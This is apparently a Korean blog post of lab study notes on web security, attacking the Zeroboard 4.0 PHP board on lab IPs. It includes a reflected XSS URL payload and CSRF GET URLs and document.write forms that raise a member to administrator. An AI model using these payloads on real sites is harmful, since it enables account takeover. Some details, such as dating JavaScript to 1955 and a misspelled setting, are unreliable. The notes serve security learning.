-
[웹보안] 제로보드4.0 사용법카테고리 없음 2017. 5. 24. 16:25
프로그램
제로보드 4.0 ( php로 만들어진 공개게시판 ) >> 워드프로세스(x)
CentOS6
mysql - 데이터베이스 하나 생성
설치 후 693번 라인 703라인
register_globals = On
registrt_long_array = On
>> 크롬 set character encoding 다운 후 enc-kr로 변경
수정파일
schema.sql
#해쉬값으로 저장되는 패스워드 크기
29 : varchar(50)
234: varchar(50)
288: varchar(50)
139: default '0' 삭제
216: unsigned default '0' 삭제
284: default '0' 삭제
304
318
332
346
기초
1. 웹 브라우저에서 실행되는 언어
html, javascript
2. 서버에서 실행되는 언어
php
3. DB에서 실행되는 언어
sql
언어의 형태에 맞게 다른 공격이 들어온다.
#1 자바스크립트를 이용한 공격기법
-XSS( Cross Site Scripting )
1955년도에 자바 스크립트가 도입
2000년도에 최초의 공격이 발견
2005년도에 악성코드의 형태도 발견
>> 스크립트가 실행가능한 모든 곳이 취약하다
>> 따라서 지속적으로 발생된다.
**OWASP TOP10에 지속적으로 올라온다.
[type]
a) stored XSS
악의적인 스크립트를 웹 사이트에 저장
저장된 스크립트를 다운로드 받은 사용자의 웹 브라우저에서 실행
>> 입력 가능한 곳에 실행되는지 ( alert 같은것으로 ) 확인해서 취약점을 발견한다 .
URL
쪽지 본문, 쪽지 제목
댓글 관리자
게시글(답변) 제목, 본문
>> 타겟홈페이지의 대한 페이지분석이 가장 중요하다
b) reflected XSS
>> 브라우저의 XSS 사용설정을 해제 해야한다.
JOIN : Get방식의 ID값에 script를 넣을 수 있다.
>> 링크로 전달
http://192.168.3.216/zboard/check_user_id.php?user_id=<script> alert("xss"); </script>
차단
1) 스크립트의 실행 차단 ( 자바스크립트를 실행 할 수 없다. )
>> QoS가 떨어진다.
2) 서드파티 보안
# 웹브라우저 (XSS 차단기능)
# 방화벽
# 관제
>> 유지보수 비용이 많이 들어감
>> 완벽한 차단이 불가능
3) 시큐어 코딩
( 개발자의 책임
# 기획, 개발에서부터 보안성을 고려한다.
> 출시될 때 취약한 부분없이 출시
>> 유지보수 비용이 절감된다.
* XSS 차단
- 입력값 필터링 : <script>
CSRF ( cross sit request forgery )
XSS의 변종
<script> 태그를 사용하지 않고 html태그를 사용해서 공격.
admin_setup.php으로 전송되는 멤버에 대한 그룹변경 페이지
*관리자권한
method=post
action=/zboard/admin_setup.php
page=1
group_no=1
exec=view_member
page_num=10
exec2=moveall # 로 change
#car[]의 1번은 관리자인것 같다.
cart[]=2
cart[]=3
movelevel = num
[get]
http://192.168.3.216/zboard/admin_setup.php? page=1&group_no=1&exec=view_member&page_num=10&exec2=moveall&cart[]=2&movelevel=8
[post]
자바스크립트 document.write로 폼을 만들어서 전송해버린다.
document.write("<form method=POST action='http://192.168.3.216/zboard/admin_setup.php'><input type=text name=page value=1><input type=text name=group_no value=1><input type=text name=exec value=view_member><input type=text name=page_num value=10><input type=text name=exec2 value=moveall><input type=text name=cart[] value=2><input type=text name=movelevel value=7><input type=submit value=send></form>");
#1 img태그를 이용
src 항목에 있는 url에 요청을 하게 된다
어떤 멤버의 레벨을 1로 권한 레벨을 최고 관리자로 변경을 요청하는 GET과 POST요청을 만들면 된다.
>> 이것도 또한 modify 설정에서 할수있다
action = /zboard/admin_setup.php
exec=view_member
exec2=modify_member_ok
group_no=1
member_no=3
page=1
keyword=
level=1 #여기가 레벨부분이다.
is_admin=1 #여기가 관리자레벨 부분이다.
board_name=attack
name=attacker
http://100.100.100.133/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=3&page=1&keyword=&level=1&is_admin=1&board_name=attack&name=attacker
[post]
document.write("<form action='http://100.100.100.133/zboard/admin_setup.php'><input type=text name=exec value=view_member><input type=text name=exec2 value=modify_member_ok><input type=text name=group_no value=1><input type=text name=member_no value=3><input type=text name=page value=1><input type=text name=keyword><input type=text name=level value=1><input type=text name=is_admin value=1><input type=text name=board_name value=attack><input type=text name=name value=attacker><input type=submit value=send></form>");
[cookie]
모든 input 값을 사전형태로
document.cookie = "is_admin" 넣고
location.href="100.100.100.133/zboard/admin_setup.php"
하면 바뀌어있다.